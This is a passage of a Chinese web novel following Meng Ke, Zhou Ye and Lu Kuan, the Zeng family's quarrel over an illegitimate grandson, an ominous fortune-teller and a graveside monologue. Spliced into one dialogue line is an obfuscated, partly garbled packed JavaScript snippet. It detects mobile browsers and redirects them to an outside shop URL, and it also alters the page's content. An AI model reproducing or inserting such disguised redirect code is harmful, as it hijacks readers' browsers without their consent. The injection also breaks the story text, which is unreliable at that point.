而这种择干净，归根结底，便是因为她已经灰心了。 她不只是对成亲、成家这事灰心。她好像对所有的人，所有的关系，都灰心了。 周冶看向那雪中红梅，灰心了的她，便活成了那不与争春，独自在风雪中傲立枝头的红梅？ 周冶：“小姐喜欢这红梅独自傲雪凌霜而放？” 孟珂不置可否地笑道：“如果有得选，它也会想开在融融春日，或爽朗秋季，哪怕是炎夏炙烤呢，也总好过这彻骨寒冬。” “那小姐为何独独牵念它？雪夜也来看它？” “不过是跟它一样，没得选。”她看了周冶一眼，笑中带着些调侃，“现在，这园中也没其他花可赏啊。” “若疼它惜它，怕它被这风雪所催，何不折几枝回去，看顾一二。” 孟珂摇了摇头，淡淡地道：“世间万物，自有其命数。它既然注定了盛放在这样的季节，便得受着。若受不住，也合该落了。便是零落成泥碾作尘，于它而言，也未必是什么坏事。” 周冶打量着她：“小姐倒是......通透达观。” 孟珂面带讥嘲地笑了笑：“不过顺应天道罢了。” 周冶迟疑了一下，还是问道：“若真顺应天道，乐天知命，小姐又何必回这绥陵城搅弄风云？” *** 放生法会时，花船上那个男人的身影，虽只一闪而过，周冶却认 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“顺应天道，乐天知命？”孟珂笑着重复了周冶的话，轻轻一叹道，“人……终究不是花。看似有得选，其实没得选。” 周冶道：“以小姐的心性，不会喜欢这些糟污之事，不会想跟这些人搅缠。你本就不是那喜好沾染是非之人。” 孟珂微微凝眉看着他，带着些惊异的笑：“我是什么心性，你如何知道？” 周冶脱口道：“因为你的眼睛。” 她的眼睛，有时凌厉，有时幽深，也不乏狡黠，但是，它们始终极清亮、明澈。 孟珂有些意外地看着他，一时无言。 周冶直视着她的眼睛：“有这样干净眼神的人，心地自不会错。” 孟珂不自觉地轻轻抿了抿嘴唇，挪开了目光：“我劝大人还是不要信这些表面的东西。看一个人的心性，哪那么容易，那么……简单。” 周冶朝她走近了一步：“以小姐如今的身份，以卢府的权势，卢家父兄的疼爱，你本可过足以让天下人称羡的日子，又何苦为难自己，揪着过去不放？” 他本以为此话一出，必会引来反唇相讥。 不想，孟珂没作声。 半晌，她才轻轻地笑道：“是啊！何苦呢？” 北风越来越紧，卷着雪粒回旋飞舞，红梅在白色的雪风浓雾里时隐时现。而她，在这风雪中，仿若一坐矗立的冰山。 而周冶却发现，她眼中没有翻涌奔腾的恨意，而是一种极其冷静却坚定的东西——这样的坚定，不是可以劝退的。 他心中的何苦，此刻变成了为何。 为何她如此坚定？为何一个通透达观至此的人，会如此坚定地做一件违背本性的事？而做这件事的过程中，她又守得住自己的本性吗？ 他成长于世家，人精见得多了，最高水准的人斗也看得多了，也就比谁都怀疑——当人一旦涉足那些争斗，还有没有不迷失、不越线的可能。 周冶：“小姐……真的要为了那些已经无法更改的过往，舍得自己一身，与一生吗？” 孟珂依然没有反驳，而是认同地点头笑道：“是啊，与狼斗，便要比狼还凶狠。与虎谋皮，便要舍了一身皮肉骨血……” 说着，抬眼看周冶，“因此，周大人疑我是对的，查我也是对的。” “我……”周冶想解释什么，又放弃了，点头承认，“没错，我是在……看着你。” “大人请自便。”孟珂无所谓地笑笑，“若是跟小女有一分交情，便公私不分，处处袒护，倒让人看不起了。” 周冶看着她，一时竟无言以对。 顿了顿，他问出了心中最大的疑问：“为何不请卢大人出面，自上而下地调查此案，为你的家人求得公道？你为何非要自己来呢？” 孟珂深深地看了他一眼，半晌没说话。 末了，她抬眼看了看天，带着些疏远的笑意，说道：“夜已深，小女先告辞了。” 说着便伸手去撑伞。 周冶一伸手，握住了伞，静静地看着她。 孟珂也回视着他，定定的，竟还带着些温柔。 48. 面目 两人就那么静默了好一会儿，周冶退步道：“是我交浅言深了。” 嘴上这么说着，手上却轻轻抽出孟珂手中的伞，撑开了：“我送小姐回去。” 孟珂没再言语，举步踏入雪中。 两人一路无语，只听得雪在脚下一步一响，肩头不时碰上，又静静分开。 一路进了烟雨斋，送到了上房门口，周冶看着她的身影消失在徐徐关上的门后，又站了片刻，才转身而去。 *** 随着曾立一行的回府，冷清了多日的曾府，霎时便热闹了起来。 下人们忙着安顿大公子，忙着照顾小婴孩，还见缝插针地对大公子带回的女子面貌、来历各种猜测，竟也一扫萎靡气象，精神了起来。 整座曾府，唯独邵夫人的院子里黑云压顶。 邵夫人正歪在榻上，一手掐着眉心，一手掐着太阳穴。 许嬷嬷从院子里进来，站到夫人身侧，替她按起头来：“夫人，这大冷的天，要不还是让大公子……进来跪吧？” 邵夫人闭着眼，闷“哼”了一声：“他既要跪，就让他跪！” 许嬷嬷笑道：“是，大公子惹您生了这么大场气，莫说跪个三五日，便是十天半月也是该。可他还抱着孩子呢，几个月的孩子，哪里经得住这如刀的北风。” 邵夫人的脸终于动了动，良久，叹了口气。 许嬷嬷会了意，笑着冲门口的丫头道：“还不去快请大公子进来。” 曾立抱着孩子进来，见邵夫人对他一副视而不见的样子，也不言语，径直走上前去，将孩子往她怀里一塞。 “你……做什么！”邵夫人猛地坐直了起来，怒目而视，将孩子往外一托，“你生的孽种，你自己……给我抱回去！” 曾立却退开了去，跪下，涎着脸笑道：“母亲，好歹看一眼你孙儿吧！可怜他这么小，就风里来雪里行的，奔波千里，就为了拜见他亲祖母。这好容易回了家，都几日了，亲祖母却连看都不看他一眼。我可怜的孩子！” 邵夫人一听这话，都气笑了，同许嬷嬷相视了一眼：“嘿！还怪上我了！” 许嬷嬷只是笑。 邵夫人叹了口气，终究还是垂眼去看那孩子。就这么一眼，那粉雕玉琢、软软糯糯的模样，让她心头突地一软，再不忍推出去了。 她还是板起了脸，数落道：“你……你们一个个的，看着你老子走了，就都没了忌怕，一起来欺负我这个孤老婆子！可怜我一个孤老婆子……无依无靠，可着你们欺负。” 说着，不由悲从中来，真情实意地落起泪来。 曾立忙膝行向前，跪在母亲脚下，看着襁褓中的孩子道：“您这儿孙绕膝的，哪里孤老了？哪里无靠了？母亲真是年纪越大，人倒越发小了，竟跟儿子、孙子耍起浑来了！儿子，快羞羞你祖母！” 邵夫人倒吸一口气，哭笑不得地摇起头来。 半晌，她叹了一声，抬眼看着曾立道：“曾家的血脉，我自是认的。但我告诉你，那些个来路不明的女子，想当我曾家的儿媳，却不能够！” 曾立见好就收，也不再纠缠，凑上去逗着孩子道：“母亲，你看他长得像不像我。” 邵夫人白了他一眼，又要说什么。 曾立“呀”一声，打岔道：“跪了这么久，孩子早该饿了，母亲这儿有什么孩子能吃的？” 孩子仿佛听懂了似的，原本一直安安静静的，这时竟开始咿咿哦哦作声。 邵夫人哼了一声，抬眼一看，曾立已经乘乱溜出去了：“这孩子！什么时候也学会滑头了！” 许嬷嬷忙吩咐小丫鬟：“还不快去叫奶妈进来。” 说着，又笑道，“夫人就是刀子嘴豆腐心，早让人去寻了好的奶妈来，偏还要磋磨公子这一把。” *** 邵夫人看看曾立逃出院门的身影，又看着许嬷嬷道：“这关要这么好过，他以后还不翻了天去！” “夫人说的是。”许嬷嬷低头去看了孩子一眼，伸出一根手指，在那小小的脸上轻轻拨弄了一下。那软糯的触感，当即有一股暖流顺着指尖，直入了心底。 她不由想起了儿子高仲小时候，一时心内百感交集道：“孩子生下来的时候，个个都玉雪可爱，可这玉不琢，便不成器。可怜天下父母心啊！” 邵夫人想的是自己的这份父母心，冷笑一声，道：“他今日突然这么灵光了，打量我不知道呢，这些话……只怕都是老二手把手教的。当真是应了那句，‘老大傻，老二奸’。这兄弟两个……好得很！如今合起伙来，算计上我了！” 孙嬷嬷笑道：“两位公子兄友弟恭，这是多少人家烧高香也求不到的大福气！夫人您就别得了便宜还卖乖了！让我这就一个逆子的，怎么活？” “都是冤孽啊！”邵夫人笑着摇头，不由又想起曾怀义的感叹，“老爷常说，‘都说龙生九子，各有不同。只是不同倒也罢了，可惜的是一连九子，都不成龙。’” “我知道，老爷感慨的是，他自己并没人教，却一身的本事。可有他这个爹珠玉在前，老大却只得了个武夫的皮子，里子是半分也无。老二呢，多少得了他的里子，可性子却大不相同。那孩子阴柔，还有几分善心佛性，又还有几分牛性......” “这两个儿子都不是他那样能自立门户之辈，只能一边扶持，一边寻好的人家联个姻亲，好给他们铺垫前路，给曾家光耀门楣。” 想到此，她不由皱起了眉头，“现如今，人走茶凉，没有老爷的庇护，便只有靠他们兄弟俩自己了。要是让他娶了那来路不明的女子，连老二的婚事也不好办了。莲生，你说，我能怎么办？若都由着他们，我便是将来到了九泉之下，也没法给老爷和曾家的列祖列宗交代啊！” 许嬷嬷道：“大公子做事虽鲁莽了些，但一向是孝顺的，不会故意与您作对。夫人莫急，这事缓则圆，先晾着他些日子，以后慢慢计较不迟。” 说着，“哦哦哦”地逗起了孩子，引得邵夫人也去看孩子，倒是忘了这茬话头了。 许嬷嬷暗暗松了口气，往院子里瞅了瞅，面上不由露出几分焦躁来。 没一会儿，一个小丫头快步进了院子，到门口站住了，没进来，只远远地冲她摇了摇头。 许嬷嬷微微一点头，使个眼色让她去了，心下却当即焦灼起来。 高仲出狱后多少收敛了些，但依旧冲动易怒，好玩嗜酒，心性难改，只一错眼的功夫，就溜出去不见人影。她一颗心终日高悬，只怕他又惹下什么祸事来。 邵夫人见许嬷嬷心不在焉的：“你发什么呆呢？” 许嬷嬷回过神来，笑道：“我就是想起大公子小时候，瞧这孩子，长得多像他！” 邵夫人目不交睫地看着孩子，点头笑道：“哪里多像了，也就有那么几分吧。” 院外，曾立跑到二弟面前站住了，一拳捶在他肩头：“好小子！你的招果然有用！” 曾铭冷不防这一拳，痛哼了一声，连退了两步。 这个好大哥，承继了他爹豪气骁勇的一面，却性子耿介，不知转圜，不是个混官场的料。曾怀义思来想去，也只能送他去沙场拼军功，大概也没想到，他在军中几年下来，肠子更直，头更铁了。 看他带新嫂和侄儿回来的这番没心没肺的操作，曾铭实在无言以对，可要让这个家安生一些，也只有他来想办法。 好歹等母亲缓了两日，过了气头，他才如此这般地教了几遍，将人领过来，推进了母亲院中，还在院外候着，预备随时救场。 曾铭提步往外走去，笑道：“今日先过了这第一关便好。这些日子，就让孩子留在母亲院里吧，让他慢慢软化母亲的心。” “可素娥那头……”曾立跟他走着走着，眉头又皱了起来，“明日……只带孩子去给父亲扫墓的事，我要怎么跟素娥开那个口......” “是怎样，就怎样说。”曾铭顿住了脚步，“我看嫂子是个明事理的人，她会理解的。” 看曾立仍面有难色，曾铭只好耐心道：“大哥，饭要一口口吃，事要一步步来，母亲只有先接受了孙儿，才可能看在孙儿的份上，慢慢去接受孙儿的亲娘。逼急了，母亲发了狠，直接把人扫地出门，你又当如 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回雪含笑看了她一眼，故作不经意地问道：“那......周大人那样的，适合什么颜色？” 孟珂想也没想，脱口道：“他穿墨蓝色是极好的。” 说着，不由想起雪夜，他那一身黑衣，襟口露出几线极鲜嫩的粉紫色，倒也极妙。 于是补了一句，“黑色也很好。” 回雪故意道：“周大人就不适合白色吗，他也是贵公子气质啊。” 孟珂道：“白色也不是不行——他这人也挺能装无能装纨绔的，但多了解些之后吧，还是觉得对他来说稍显单薄了些。有层次的、复杂些的颜色，更衬他的面目和气质。” 回雪：“他是哪种面目气质？” 孟珂边捡起珠子排列成形，边道：“他的脸，轮廓窄而深，凹凸有致。眼窝很深，目光深邃，眉眼间总有阴影似的；平日里总收着、藏着，让人看不清里面到底是些什么。他偶尔放松了、打开了，你才会发现，原来他的眼睛很大。” 回雪一笑：“小姐观察得……倒很仔细。” 孟珂却突然愣住了。 回雪并不知道，她儿时就展露出惊人的绘画天赋，还不曾学画的时候，举凡眼睛看见，手下便能画出，对画面的记忆力也极强。凡她看过一眼的人，就能记住面貌特征，多少年也纤毫毕现。 可是，方才这么一说，她才发现，周冶的面目在她脑中竟然是模糊的。他是哪种眼型，鼻子是什么线条，嘴巴什么形状，她竟然都想不起来，只有个模糊的影子。 要么是她的脑子坏了，要么就是眼睛坏了……可显然都没有——周冶好像是第一个，也是唯一那个，她根本回忆不起具体面目的人。 “小姐？” 发现了这一点，孟珂自己也不敢相信，摇头失笑道：“我……我只是……一种粗略的感觉……心里囫囵的印象罢了。” 她继续不动声色地道：“墨蓝色、黑色这些深色系，就跟他那不显山不露水，还变化莫测的气质，比较合；再搭配少许的艳色，跳脱、活泼，又不失庄重。” 说着，想起了卢宽，又摇着头笑道，“不像二哥哥，心情时时刻刻都明明白白写在脸上。” 回雪也道：“正是呢，我听下头小丫头们议论说，周大人经常穿些寻常男子不会穿的颜色、花样，却并不轻佻。” “他压得住。”孟珂正穿着珠子的手顿了顿，想起他日常的一些衣物，笑道，“用那些女子才用的花色，偏偏还一点都不奇怪，也是种本事。不知道的，还只当他日日眠花宿柳，拿了人姑娘家的衣物穿呢。” 回雪审视地看着小姐，只觉得，听她这么闲闲说起二公子和这位周大人，言语间分明有什么是不一样的；心下却难得地为小姐高兴：小姐是心如止水；可止水，并非死水。 正这时，窗上响起了几声轻叩。两人转头一看，见雨歇翻身进来，待走到二人近旁，才低声说了什么。 孟珂：“可确定？” 雨歇点头：“明日一早。” 孟珂：“那你即刻就去安排。” 49. 为难 雨歇离开熹园的时候，一匹快马正在侧门停下。来人飞身下马，快步入内，一路被引进了卢宽住的院子。 不传密信，而是派亲随拿了信物，口传消息，卢宽便知兹事体大。 孟珂刚听下人报说，京中来人见二公子，就见卢宽进烟雨斋了。她忙让回雪收拾起桌面的没打完的穗子、丝线珠玉，自己迎去了外间，见卢宽面色凝重，忙问：“可是出了什么事？” 卢宽道：“我前脚刚走，圣上就......倒下了。父亲让我即刻回去，京中只怕……” “要变天？”孟珂顿了顿，“明日一早就走？” 卢宽点了点头。 “早点动身好，京中形势瞬息万变，万万耽搁不得。”孟珂慢慢踱着步，思忖道，“我如今在这里，府中事务只怕处理不及时。这样，你先行一步……” 卢宽忙道：“无妨。既只传我回去，想必也没还到那个地步。父亲向来谨慎，叫我回去，应该也只是以防万一罢了。” 说着，看着她叹道，“只是，本想多陪你一段时间的……” “你放心回去，我能照顾好自己。”孟珂笑着看他，嘱咐道，“你一定转告父亲，我这边随时准备动身。” “可你这边……” 她的一番布置真就全部扔下，不可惜吗？可他哪里不知道，不论府中上下如何待她，她从不恃宠而骄，本分到了有些见外。若有需要，她一定会扔下自己的一切，先顾卢府。于是，他也不再多说，应道，“好，我会转告的。” 说完，在窗边坐下，拍拍自己身旁，示意孟珂坐下：“来，我再看看你的脚踝。” “早没事了。” 但她还是坐了下来，让他看了好放心。 卢宽又细细给她梳理了一遍经络，末了，嘱咐道：“平日还是要小心些，不要伤到，防患于未然才是上策。” 孟珂心里一暖，不管她的心湖如何冰封成雪原，这些细微的关切、真心的心疼，总能让她心口瞬间便荡漾起无限的柔软。 *** 这天的晚膳，比平常更丰盛。 午后，周冶见卢宽的小厮在张罗收拾行李，就知道他要走，但上了桌却发现，这一餐不为践行，而是卢宽临走给孟珂张罗的。 呆了这几日，他也看出来了，除了睡觉，吃饭也是卢宽照顾妹妹的头等大事——也是头疼大事。 天南海北的开胃小菜，下饭的新奇菜式，他日日换着方儿地给她做，更别提那调理脾胃的药了，可似乎不大见效。 孟珂吃个饭，总跟猫儿似的，恨不能数着米粒吃，任什么喜欢的、开胃的菜上来，也只浅尝几口，总是才刚坐下，便说吃不下了。 这不，卢宽又软磨硬泡上了：“再吃几口，就几口。” 孟珂心塞地看了他一眼——实实在在的塞。她日常睡不好，脾胃虚弱，看什么都没胃口，吃饭完全只是为了活着。别说享用美食了，她简直是生生填食，多咽一口都难受，简直如受刑。 “能不能有一种药丸，吃一粒便可以活下去，从此不用吃饭了？” “有！闭眼伸腿丸。”卢宽没好气地道，“那药吃了，可不就不用吃饭了。要么你就再本事一些，能炼出仙丹。不过，你若能炼那丹，就直接飞升成仙了。” 孟珂：“你还别说，我这种体质，还真适合修仙。别的不说，辟谷那是一点障碍都没有，得大解脱。” “行了，我的仙子。别扯闲篇了，”卢宽给她又夹了几筷子菜，“在你没飞升之前，饭，还是要吃的！” 转移注意力失败，孟珂只得重又举箸，几口复几口，实在咽不下了，“啪”一声放下筷子，揉着心口道：“不行了。茶！茶！” 回雪忙递过早备好的茶。 她咕嘟几口下去，总算把梗在胸口的东西顺下去了。 见此，卢宽也只得放过她，但想到自己马上要走，无人再能磨她，又忍不住道：“每顿好歹逼自己多吃几口。能多少长点肉，身子就不会这么弱。” 周冶闻言去看孟珂，她虽纤弱，看起来倒也没什么病，何至于这么脆弱了？卢宽简直把她当成个纸人似的，仿佛风一吹就要破。可他看着，她可比谁都强韧多了。只怕在座这二位公子都折了，她也还能活下去。 孟珂无奈苦笑，说起来，她没什么了不得的大病，可成日里小病不断，不是这里不适，就是那里不好。一年里，倒有大半年都在吃药。大夫都说，皆是心病所致。但凡心境开阔，少思多笑，睡得好了，吃得便香了，也就什么都好了。 可这生而为人，唯独这一颗心，最由不得自己。 她本想说，若能咽得下去，还说什么？但不想让卢宽挂心，又说不出来了，只乖乖点头道：“知道了。” 卢宽如何不知道她嘴上答应，却绝难做到。 孟珂看他还微微蹙着眉，心念一动，对回雪道：“这男人吧，一啰嗦，就不潇洒，也不风流倜傥了……” 声音不大，但该听见的都听见了，一旁众仆从也忍不住都笑了，又忙绷住。 卢宽的脸一僵，一时竟说不出话来。 看他这吃瘪的模样，孟珂倒笑了。 卢宽一见她开怀，自己也连憋闷都忘了，从心里笑了出来。 二人的这份亲密，落在周冶眼中，难免有一种多余的外人之感，插不上话，只能陪笑。 这时，回雪却看了看小姐，又去看周冶。 不知为何，她有一种小姐是故意为之的感觉。他们兄妹之亲密不假，只是，她把这份亲密展示人前，还这样公然地忽视周冶，似乎另有用意。 一开始，小姐想让周冶知道，她没有那么坏，想拉近同他的距离。 可现在，她似乎又想让他觉得，她没有那么好，想限制他在一个不远不近的位置...... *** 这天夜里，烟雨斋的窗边，又坐着两个人影。 卢宽手中拿着玉箫，却没有吹，只不时在手中晃着。他看了孟珂好几次，终于迟疑地道：“那个……那个……” 孟珂意外地笑问：“你什么时候说话也会吞吞吐吐了？” 卢宽头一昂，竹筒倒豆子似的一口气道：“我就是想说，那个周冶在此地，也还有点用，但毕竟不是自己人，你万事还是要多当心，还有……” “还有，那小子吧……长得……还行，是有些迷惑姑娘家的本事的。你自己……留个心，可别……轻易让人骗了。” 他的声音越说越低，最后这几句，几乎听不清了。 孟珂将脸埋在膝盖上，笑了。 卢宽绷着脸：“有什么好笑的！” 孟珂笑着看他：“笑你居然还有承认另一个男人长得还行的这天，我得看看，太阳是不是改成打西边出来了。” 卢宽看了她一眼，说出一句跟他此刻孩子气的模样极冲突的话：“男人脑子里都在想些什么，我可太清楚了。” 说完，将手中的玉箫一圈又一圈地在手中转着，掩饰着尴尬。 孟珂一挑眉，故意逗他：“哦？都想些什么啊？” “你……” 卢宽一时语塞，那些话怎么也说不出口来，尴尬又气急地拿着手中箫，朝她一点，箫穗随之一晃荡。 这箫穗正是她打了，亲手挂上的。 孟珂伸手拨弄了一下：“这穗子都这样旧了，怎么也不叫人重打一个，换换。” 卢宽斜了她一眼，没好气地道：“这不是等着那没心肝的，几时能想得起来打根新的么。” 孟珂“哟”了一声：“我不打新的，你这辈子就不换了？” “不换！” “你说的？” “我说的。” “好！” 卢宽一个不防备，被孟珂一把将箫抽了过去，她直接便上手去解那穗子。 他忙劈手夺了回去，藏在身后：“既给了我，就是我的，谁许你动了？” 孟珂从袖中掏出什么，手轻轻一张开，一根穗子便晃荡在他眼前。 卢宽笑了，伸手要拿。 孟珂又躲开了，捋着穗子上的流苏道：“哎，既然已经担了这没心肝的名，那便不给了。二哥哥，自去找个有心肝的。” 卢宽少不得好妹妹、好妹妹地哄了半晌，孟珂方才替他换上了，见他将那换下的旧穗子又收进了袖中，又问道：“你还留着做什么？” 卢宽瞥了她一眼：“等这根也旧了，我还能换着用——等你想得起来，打下一根，不知要哪年了。” 孟珂笑道：“堂堂卢府二公子，就短这么一根穗子了！还有那么多好妹妹好姐姐的呢，怎么就只可着我一个人薅！” “这你莫管。” “好，我不管。等日后能管你的人来管。” 卢宽倒吸了一口气，看了她一眼，却不言语。 孟珂顿了顿，摇了摇他的胳膊，好言好语地哄道：“好了，好了，就可着我一个人薅！你不薅，我还不乐意呢。” 卢宽面色顿时一松，笑了。 “明日还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999146|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早起上路，你早点去睡吧。” 卢宽点点头，转眼深深地看着她，似乎要将她此刻的样子烙在眼中。 良久，他抬起另一只手，轻轻抚了抚她那丝滑如缎的鬓发，眼中无限眷恋，目光一闪，一狠心，起了身，轻轻跃出窗外，一头走入了风雪中。 孟珂看着他的身影，一直看着他消失在漫天飞扬的雪花里，呆立良久，才起身进里屋去。 这晚，下了一整夜的雪。 清早，烟雨斋的下人还没来得及把路扫出来，二公子就来了。 他让下人不要吱声，轻轻推门进去，蹑手蹑脚地走近卧房，却只站在门口，远远地看了一会儿，便自行去了。 他刚一转身，孟珂就睁开了眼睛。 回雪待卢宽走远了，才上前道：“二公子就是不想吵醒小姐，都不敢靠近。结果小姐还是醒了。” “心中有事，自然就醒了。”孟珂坐了起来，掀开被子，“左右是睡不着了，唤人打水来，梳洗了吧。” 她走到窗口看了一眼，若有所思地道：“一夜大雪，城外想必都积起来了。” 回雪也看了一眼：“城外的雪定然更深，二公子这一路可不好走。” *** 天还早，一路都没什么人。卢宽出城不多时，才见前面官道上，一辆马车陷住了。 一个脸色黝黑，看起来饱经边关风沙的青年男子正指挥着仆从推车。 那马车上挂着白灯笼，上面一个曾字。卢宽心道，想必，就是那个曾家了。 他下了马车，走近了一看，对曾立道：“此地平素应该就是淤泥地，雪太深，雪泥混在一起，便成了个泥淖，拔不出来了。” “是呢，”曾立看了他一眼，叹道，“我多年没回家，没想到，这城外的路竟是这样，也没个准备。” “不妨事，”卢宽说着，冲青汝一招手，“将我们垫车轮的板子拿下来。” 不多时，青汝就着人抬了一捆木板来，一片片挨着铺在马车轮下，又将人手都叫了来，帮着曾府仆从一起，将马车推上木板，顺利过了泥地。 曾立拱手相谢道：“感谢兄台援手，不知怎么称呼？” 卢宽笑笑：“萍水相逢，何足挂齿。我是走远路的，这些防滑防陷的物什都备着，不过顺手的事。” 这时，车中传出婴孩的啼哭，还有女人哄逗的声音。 卢宽看似随意地问道：“兄台，你拖家带口地这么早出城，也要赶远路？” 曾立摇头：“不，我只是出城，带孩子去大栖山……” 听口音就知道卢宽不是本地人，大概不知道大栖山是什么地方，又补了一句，“给家父扫墓。” 卢宽“哦”了一声，看着那泥坑，笑道：“那......想必是令尊想看看你们的孝心。” 孩子的哭声已经有些哑，曾立看了自家马车一眼，苦笑道：“今日这孝心......别提多诚了！没出家门，这小祖宗就狠狠哭闹了一回。路上又陷了车，还真有......不走出九九八十一难，誓不罢休的架势......” 他本来还没多想，这么说着，心头不由也犯了嘀咕——倒是有点他爹的难搞。 也不知怎的，孩子本来好好的，可奶娘抱着出门的时候，突然就大哭起来，每往外走一步，便哭得狠上一分。 若说是换地方认生吧。这一路回来，走了那么远的路，也换了一路的宿地。早起赶路，夜间投宿，也都是寻常。他从没见孩子哭成那样过。 等到了门口上马车的时候，孩子已经哭得撕心裂肺，连他都不忍卒听了，更别说素娥那个当娘的，听得那叫一个肝胆俱裂。 她终究还是忍不住，冲出去抱着孩子哄，好不容易消停了下来，可刚交给奶娘，又哭了，一双小手紧抓着素娥的衣襟不放。 素娥无奈，只得忍痛强掰开孩子的手，交给奶娘，自己一扭身跑开，躲到门后，从门缝里偷偷看着拭泪。 他们二人都心知肚明，母亲好不容易接受了这孩子，允他认祖归宗，无论如何都不能说，今日不如就别让孩子去了。若然，母亲只会以为，他们这是拿孩子倒逼她——不接受素娥，便不让孩子认祖归宗。 等好不容易把孩子弄上马车，他上了马要走，突然间大雾骤起，一时间遮天盖日，不辨方向。他顿了顿，还是义无反顾地一头扎进了那茫茫雾气中。 想到此，曾立抬眼望向栖山的方向，心道，“父亲，真是你生儿子的气，不愿见我们父子，有意为难吗?” 50. 烟火 却说邵夫人，被孩子吵了小半夜，大早起来就在府里各种张罗，喧闹了好一阵，又带着仆从亲自上街采买去了，倒比平时只顾清修的时候，还精神多了。 主仆一行买了一堆孩子的吃穿日用，又到金店选了只长命金锁，并一些金项圈、金手钏等物，还定制了一个金麒麟。 曾立只给孩子取了个小名，有意留着回来让祖父母取名，好讨个欢心。 可邵夫人只认得些字，不通文墨，召府上的笔墨先生说了半天，就中意一个麟字，但再中意，也还要问一问，合不合他的八字命格。 一行人出得金店，没走几步，许嬷嬷就见前面一个算命摊子：“咱们请那道人给小公子批一批？” 邵夫人笑道：“这道人看着……以前倒是没见过，想必也不知道我们是谁家的，正好问问。” 许嬷嬷扶了夫人在摊前坐下，给了生辰八字。 那老道微微闭眼，掐指一算，眼角突地一跳，再睁眼时，看邵夫人的眼神便有些怪异。 许嬷嬷乐滋滋地问：“我家小主人这八字如何？” 那道人扫了主仆二人一眼，捋了捋胡子，沉吟不语。 许嬷嬷和邵夫人面面相觑了一回，奇怪地又问道：“这个名字可使得？” “不打紧。” 半晌，那道人才挤出这么一句。 邵夫人不解道：“什么叫不打紧？” “小公子这命格……夫人想用什么字，便用什么字。”那道人意味深长地摇着头道，“不打紧了。” 邵夫人心下早已不悦，还是按下愈来愈盛的怒火，耐着性子问道：“那……他这八字到底怎样？可有什么妨害，流年可有什么忌讳？” 那道人顿了顿，看着她道：“多做善事，多积阴德，自然消灾解业，福慧子孙。” 邵夫人听出这话颇有言外之意，意思不就是她家损阴鸷，有灾业，祸及子孙吗。她再坐不住了，“腾”地起了身，走了两步，还是冲许嬷嬷使了个眼色。 不管说得准不准，乐不乐意，卦金还是得给，这是规矩——八字在人手上，谁能保证，惹了人，会不会背后作怪呢。 许嬷嬷自然明白，但还是要替夫人作作态，掏出碎银子，“啪”一声拍在桌上，斥道：“你这道人，我们花钱办事，你不替人排忧解难、消灾解难，倒说出这些浑话来。哪有你这样的！” 那道人却把银子往外一推道：“这钱，老道收不得。” 已经走出两步的邵夫人主仆惊诧地回了头，看看道人，又看看彼此，又面面相觑了一回。 邵夫人顿了顿：“反正我们是给了，他爱收不收！” 说罢，转身愤愤而去，许嬷嬷忙跟了上去。 一旁卖瓜的摊主早尖着耳朵听半天了，这时凑过来，嬉笑道：“老道，今天这怎么回事？白花花的银子，你们都不要？那……我要喽！” 说着，便伸出黑乎乎的手，要去拿。 那道人捡起手边的笔，“啪”一声打在那摊主手背上，另一手已经麻利地抓了银子，“当啷”一声，扔进了脚边蜷着睡觉的乞丐碗里。 “死人的钱，收不得。”他望了一眼人群里那主仆二人的身影，叹了口气，喃喃道，“莫如替他做些许功德，多少赎些祖业，早修来世吧。” *** 大栖山，马车在山道上停了下来。 曾立骑着马，径直跑到了墓地旁，只见四周野地盖了厚厚一层雪被，白茫茫的一片，衬着拔地而起的灰白林木，倒显得肃穆，仿佛天地都在为他父亲，做这一场浩大而持久的祭奠，就为等着他这个迟来的儿子尽孝。 回来这几日，他总觉得父亲只是不在家而已，直到此刻看着这新立的坟头，才终于对父亲已死这事，有了点实感。 他翻身下马，拴在一旁的树下，一步步走过去，一种极其复杂的滋味，仿佛从心底突然出现的泉眼里，噗噗冒了几个泡，随即慢慢涌出，一层层漫上了他心头。 不待他吩咐，跟在后面的曾府仆从已经鱼贯而至，各自忙活开了。开道的开道，布置祭品的布置祭品；又将坟头的雪也都扫干净了，才将纸车纸马等堆叠其上，免得烧的时候化了雪，将其打湿，烧不透——若然，先人在那头拿到的就是残破之品了。 一场大雪下来，坟茔周围的土一踩就陷，众人无一例外都脏了鞋袜，但也没敢抱怨，嘀咕一声就继续忙去了。 等一切就绪，曾立按礼制恭恭敬敬地祭拜完，随即挥手屏退众人：“你们歇歇去吧，让我跟老爷，单独聊聊。” 他一掀衣摆，在墓前坐下，倒了两杯酒，自己提了一杯，轻轻碰了碰地上那杯，长长地吐出一口气，说道：“父亲，我本想着，回家后跟您好好喝几杯，再慢慢说这些的。没想到，竟只能这样，我说您听了……” 他一仰脖子，手中酒顺着喉咙而下，辛辣的感觉自下升腾而起，不由啧了一声，目光复杂地看着墓碑道：“父亲，你可知，沙场是个什么样的地方？说起这两个字，人们好像总觉得，那意味着万千忠魂，意味着豪气干云，意味着战功荣耀……可是，你知道吗，当人真的站在沙场上的时候，却完全不是这么回事。” 他笑了笑，带着些凄苦和讥诮道，“也许是我胆小、怯懦吧。我第一次站在战场上的时候……很害怕，很害怕！我不知道，原来人的血竟那么红……那鲜血四溅，头手乱飞的场景，完全就是人间地狱。” “那一刻，您知道我心中……多怨您吗？我怨您，为什么非把我送去那种地方，我实在做不来呀！我实在太害怕了！” “不过，也不只我一个人这样。后来，偶然跟弟兄们说起来，我才知道，原来大多数人都是那样。原来，没有杀过人之前，都是害怕的。战场上个个仿佛砍瓜切菜似的，其实都是杀红了眼，都是一时的人形傀儡罢了。” “但别人慢慢就习惯了，我却怎么都习惯不了那样的……场面，多少次了都不行。我一次次跟着大家冲上去，麻木地砍杀——不是你砍别人，就是别人砍你，可每每那个时候，我就觉得那个不是自己，自己不知道成什么了。” “好多个夜里，我都想当逃兵算了。可是，我还是不敢！想到被抓的下场，想到即便逃回来了，可能被您处置的下场……也只能想想罢了——我这人，想做什么，始终都不敢……” 